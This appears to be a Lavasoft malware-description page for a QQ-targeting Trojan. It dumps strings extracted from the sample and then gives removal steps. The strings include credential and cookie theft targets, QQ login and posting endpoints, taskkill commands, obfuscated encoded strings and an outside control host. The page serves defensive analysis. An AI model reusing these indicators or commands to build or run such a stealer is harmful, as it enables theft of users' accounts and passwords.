hXXp://g.cnc.qzone.qq.com/cgi-bin/friendshow/cgi_get_visitor_simple?uin=
@qq.com
hXXp://bfbqf.com/caiji/
hXXp://qun.qzone.qq.com/cgi-bin/get_group_list?groupcount=4&count=4&callbackFun=_GetGroupPortal&uin=
hXXp://base.qzone.qq.com/cgi-bin/tfriend/friend_userinfo_search?nn=
nick
000000000
\pic\addfriend.bmp
\save\validate_friend.txt
Microsoft.XMLHTTP
hXXp://qqgame.gamebbs.qq.com/forum.php
<h2><a href="forum.php?gid=
href="forum.php?mod=forumdisplay&fid=
hXXp://qqgame.gamebbs.qq.com/forum.php?mod=viewthread&tid=
&extra=page=1&page=
application/x-www-form-urlencoded
hXXp://qun.qzone.qq.com/group
HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\QQ2009\Install
Wscript.Shell
\Bin\QQ.exe
\bin\QQ.exe
c:\v1.jpg
taskkill /t /f /IM TXPlatform.exe
taskkill /t /f /IM TXPlatform.exe *32
\pic\dengl.bmp
taskkill /f /im qq.exe
QQ.exe
success.txt
\save\QQTmp.txt
qq.exe
TXPlatform.exe
{impersonationLevel=impersonate}!\\.\root\cimv2
QQ.EXE
 -0123456789.eE
Invalid Key at position
Keys
hXXp://validate.100public.com/complaint.asp
&key=
\*.txt
hXXp://114.qq.com/search?page=
<div class="co1"><a target="_blank" href="hXXp://
114.qq.com/">
hXXp://114.qq.com/search?country=49
href="/search?page=1&key=&country=49">
href="/search.html?page=1&key=&country=49&pid=1">
hXXp://114.qq.com/search?country=49&pid=
hXXp://wpa.qq.com/pa?p=1:
WinHttp.WinHttpRequest.5.1
\pic\lishi.bmp
|*.txt
16777215
-15369.-18492.-13631.-11306.-17433.-10806.-14656.-12867.-10313.-19724.-11306.-17486.-10578.-16420.-11583.-15943.-12051.-18505.-13352.36.37.-13088.-12306.-12361.-24137.-15943.-12051.-13652.-11306.36.37.-18493.-10554.-23623.-14111.-12290.-12597.-12341.-10541.-13652.-11306.-14338.-15937.-12384.-16424.-18453.-18001.-15641.-24138
windows 7
windows vista
windows xp
windows 2000
windows me
Adodb.Stream
explorer.exe hXXp://VVV.uuwise.com/allErrorCode.html
explorer.exe hXXp://VVV.uuwise.com/
\tmp.bmp
\tmp1.bmp
hXXp://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=
nickname":"
- 3.5.4
taskkill /t /f /IM 91vpn.exe
taskkill /t /f /IM 91vpn.exe *32
password
adslpassword
91wpnpassword
explorer.exe hXXp://61.191.56.29/
cmd /c rasdial
hXXp://VVV.baidu.com
*.ini
ConnURL
hXXp://
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
DisconnURL
127.0.0.1
hXXp://validate.100public.com/ipaddress.asp?time=
SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{D27CDB6E-AE6D-11CF-96B8-444553540000}
115.92.86.92.91.74.66.28.29.115.75.93.70.89.74.93.92.115.74.91.76.115.71.64.92.91.92
38.35.59.38.34.59.38.34.59.36.37.37.59.44.35.59.36.39.38.59.36.36.32.59.36.36.35.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.45.59.38.32.59.38.34.59.38.45.59.38.45.59.32.44.59.36.36.45.59.36.39.38
36.36.44.59.36.36.32.59.36.36.44.59.36.37.37.59.36.36.32.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.36.59.44.35.59.36.36.44.59.36.39.36.59.36.39.33.59.36.36.45.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.45.59.36.39.39.59.44.35.59.36.39.34.59.36.39.33.59.36.36.35.59.36.39.38.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
38.35.59.38.34.59.38.34.59.36.37.45.59.36.39.33.59.36.39.38.59.36.36.33.59.36.37.44.59.36.39.33.59.36.36.35.59.36.39.39.59.32.44.59.36.36.45.59.36.39.39.59.36.39.37
-17930.-18542.-17213.-19763.-19054.-15147.-18965.-12390.-12900.71.64.92.91.92.-12565.-17199.-20076.-18962.-20279.-24179.-14615.-16947.-20279.-14142.-17199.-16906.-19463.-23677.-16410.-15117.-19053.-10515.-14142.-17199.-12559.-18553.-10798.-19572.-11036.-12033.-17443.-14142.-17199.-17930.-12841.-12559.-18553.-19235.-16507.-24180.-18996.-17448.-14184.-18809.-17700.-17020.-10245.-18816.-12047.-18277.-23677.-14117.28.25.31.-18969.-13922.-14142.-16234.-16905.-23677.-14396.-11035.-12094.-19722.-10280.-23677.-11525.-20020.-14142.-17199.-16410.-11525.-10798.-19572.-13674.-11284.-23666.-23666.-23666
MSScriptControl.ScriptControl
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?daid=4&appid=522005705&s_url=https://mail.qq.com/cgi-bin/login?vt=passport&vm=wpt&ft=ptlogin&target=self&mibao_css=m_ptmai
switcher_plogin
login_button
errmsg
hXXps://mail.qq.com/cgi-bin/loginpage?errtype=3&t=loginpage_freq&vt=passport&verify=true&clientuin=
btlogin
hXXps://mail.qq.com/cgi-bin/loginpage?autologin=n&errtype
hXXp://mail.qq.com/cgi-bin/grouplist?sid=
\xheditor\xheditor.html
mail.qq.com/cgi-bin/autoactivation?sid=
hXXp://mail.qq.com
mail.qq.com/cgi-bin/addr_listall?func=birthcard&hasrmd=
mail.qq.com/cgi-bin/frame_html?sid=
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?daid=4&appid=522005705&s_url=https://mail.qq.com/cgi-bin/login?vt=passport&vm=wpt&ft=ptlogin&target=self&mibao_css=m_ptmail
mail.qq.com/cgi-bin/loginpage?errtype=
\save\email.txt
\save\address.ini
\file\plp\10001.file
hXXp://mail.qq.com/cgi-bin/bottle_panel?sid=
&t=bottle&plpfrom=webmail&loc=today,,,1
explorer.exe "
\Cookies\*.txt
\AppData\Roaming\Microsoft\Windows\Cookies\*.txt
hXXp://b11.qzone.qq.com/cgi-bin/blognew/get_abs?hostUin=
hXXp://user.qzone.qq.com/
10000000000
hXXp://search.qzone.qq.com/cgi-bin/qzonesoso/cgi_qzonesoso_search?uin=
&resultset=0&sort=0&pfid=2&qz_ver=8&appcanvas=0&qz_style=1¶ms=canvastime=1&entertime=
not login
*.txt
\file\blog\10000.file
hXXp://b1.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=
hXXp://w.qzone.qq.com/cgi-bin/likes/internal_dolike_app?g_tk=
hXXp://t.qq.com/p/t/
qzreferrer=http://user.qzone.qq.com/
&unikey=http://user.qzone.qq.com/
/blog/
&curkey=http://user.qzone.qq.com/
hXXp://api.t.qq.com
hXXp://b1.qzone.qq.com/cgi-bin/blognew/add_comment?g_tk=
qzreferrer=http://b1.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=
&blogid=
&inCharset=utf-8&outCharset=utf-8&ref=qzone&entertime=
&styledm=ctc.qzonestyle.gtimg.cn&imgdm=ctc.qzs.qq.com&bdm=b.qzone.qq.com&mode=2&numperpage=15×tamp=
&dprefix=&blogseed=
&dprefix=&inCharset=utf-8&outCharset=utf-8&ref=qzone&page=1&refererurl=http%3A%2F%2Fctc.qzs.qq.com%2Fqzone%2Fapp%2Fblog%2Fv6%2Fbloglist.html%23nojump%3D1%26page%3D1%26catalog%3Dlist&uin=
&secverifykey=28Q1206
hXXp://captcha.qq.com/getimage?aid=8000103&r=
hXXp://captcha.qq.com/getimage?aid=8000103&r=0.
key:"
api.t.QQ.com
&styledm=ctc.qzs.qq.com&imgdm=ctc.qzs.qq.com&bdm=b.qzone.qq.com&mode=2&numperpage=15×tamp=
hXXp://check.ptlogin2.qq.com/check?uin=
hXXp://check.ptlogin2.qq.com/check?regmaster=&uin=
&js_type=1&login_sig=
&u1=http://t.qq.com&r=
hXXp://ui.ptlogin2.qq.com/cgi-bin/login?appid=46000101&style=13&lang=&low_login=1&hide_title_bar=1&hide_close_icon=1&self_regurl=http://reg.t.qq.com/index.php&s_url=http://t.qq.com&daid=6
login_sig:"
hXXp://captcha.qq.com/getimage?&uin=
hXXp://ptlogin2.qq.com/login?ptlang=2052&u=
hXXp://api.t.qq.com/old/publish.php
&css=hXXp://imgcache.qq.com/ptcss/b2/qzone/15000101/style.css&mibao_css=m_qzone&aid=15000101&
1970-1-1 0:0:0
\taobao.html
u1=http://imgcache.qq.com/qzone/v5/loginsucc.html?para=izone&ptredirect=1&h=1&from_ui=1&dumy=&fp=loginerroralert&action=17-10-11578&g=1&t=1&dummy=
hXXp://ptlogin2.qq.com/login?u=
&aid=46000101&u1=http://t.qq.com&h=1&ptredirect=1&ptlang=2052&daid=6&from_ui=1&dumy=&low_login_enable=1&low_login_hour=720®master=&fp=loginerroralert&action=6-33-
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
hXXp://api.t.qq.com/proxy.html
ptlogin2.QQ.com
hXXp://api.t.qq.com/reg/newcreate.php
hXXp://reg.t.qq.com/invite.php
hXXp://t.qq.com/p/t/
1234567890
hXXp://cgi.find.qq.com/qqfind/buddy/search_v3
hXXp://find.qq.com/
&sessionid=2&keyword=
&redwords[]=
\save\Ctry.xml
hXXp://search.t.qq.com/index.php?k=
\file\Weibo\10000.file
_nick
hXXp://t.qq.com/
(*.txt)|*.txt|
taskkill /im qqexternal.exe /f
EXE (*.exe)|*.exe|
explorer.exe hXXp://im.qq.com/pcqq/
\save\china.she
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\AutoDetect
81.95.86.18.29.81.18.70.83.65.89.89.91.94.94.18.29.84.18.29.91.95.18.65.87.64.68.87.64.28.86.83.70
\plug\ver.ini
hXXp://validate.100public.com/conv.txt?
WSCRIPT.SHELL
&password=
125.97.97.101.47.58.58.99.116.121.124.113.116.97.112.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.96.101.113.116.97.112.59.116.102.101
125.97.97.101.47.58.58.99.116.121.124.113.116.97.112.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.118.125.112.118.126.121.122.114.124.123.59.116.102.101
userpass
Website
hXXp://validate.100public.com/ver.asp?softid=qqqunfa
hXXp://validate.100public.com/API/OEM.php?sid=5&vid=
73.96.101.113.116.97.112.59.112.109.112.53.125.97.97.101.47.58.58.113.122.98.123.121.122.116.113.59.36.37.37.101.96.119.121.124.118.59.118.122.120.58.100.100.100.115.74.96.101.113.116.97.112.59.103.116.103.105
\file\zone\10000.file
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_msglist_v6?uin=
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_addcomment_ugc?g_tk=
1900-1-1 00:00:00
qzreferrer=http://ic2.s21.qzone.qq.com/cgi-bin/feeds/feeds_html_module?i_uin=
&i_login_uin=
/mood/
&mode=4&previewV8=1&style=35&version=8&needDelOpr=true&transparence=true&hideExtend=false&showcount=5&MORE_FEEDS_CGI=http%3A%2F%2Fic2.s21.qzone.qq.com%2Fcgi-bin%2Ffeeds%2Ffeeds_html_act_all&refer=2¶mstring=os-win7|100&opuin=
qzreferrer=http://ctc.qzs.qq.com/qzone/app/mood_v6/html/index.html#mood&uin=
&pfid=2&qz_ver=8&appcanvas=0&qz_style=35¶ms=&entertime=
&canvastype=&uin=
\pic\DGroupZK1.bmp
\pic\DGroupZK.bmp
\0.bmp
javascript:for(var C=0;C<q_aUinList.length;C  ){var D=q_aUinList[C];document.write(D.uin "," D.name "," D.key "\r");}
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com&lang=2052&qtarget=0&jumpname=&ptcss=¶m=u1%3Dhttp%253A%252F%252FVVV.qq.com%252Fqq2012%252FloginSuccess.htm&css=&mibao_css=&low_login=0
taskkill /im thunder.exe /f
hXXp://im.qq.com/pcqq/
05,06,07,08,09,10
-15369.-18492.-13631.-11306.-11306.-17486.-24137.-19969.-10327.-20237.-11306.-17486.-23623.-10578.-16420.-11583.-15943.-12051.-14161.-18505.36.37.-13088.-12306.-12361.-23623.-14111.-12290.-12597.-12341.-10541.-13652.-11306.-19234.-17997.-15159.-23623.-14338.-13848.-17245.-12609.-10307.-11616.-20237.-13632.-18492.-11306.-17486.-23628
QQExternal.exe -
cmd /c taskkill /f /im QQPenguin.exe
DDE Server Window: QQExternal.exe -
56.36.33.38.38.45.59.56.36.37.39.35.34.59.56.36.37.32.33.34.59.56.36.37.34.34.35.59.56.39.37.39.38.34.59.56.36.33.37.45.45.59.56.36.34.36.34.38.59.56.39.38.35.39.38.59.56.36.39.32.34.36.59.56.36.36.38.37.35.59.56.36.45.44.45.45.59.56.39.37.39.38.34.59.56.39.38.35.39.45
&keyindex=9&pt_aid=46000101&u1=http://t.qq.com&ptopt=1
Keyboard drv
.cb_Callback
|*.exe
hXXp:///


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    setup.exe:1836
    taskkill.exe:916
    %original file name%.exe:1616
    regedit.exe:572

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\OEM[1].htm (17 bytes)
    C:\oem (34 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\conv[1].txt (1 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@100public[1].txt (219 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    C:\setup.exe (9606 bytes)
    %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
    %Documents and Settings%\%current user%\Desktop\ÍøÖ·µ¼º½.lnk (729 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\wang[1].htm (25 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@doudousoft[1].txt (207 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\config[1].htm (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\desktop.ini (67 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "smss" = "c:\smss.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now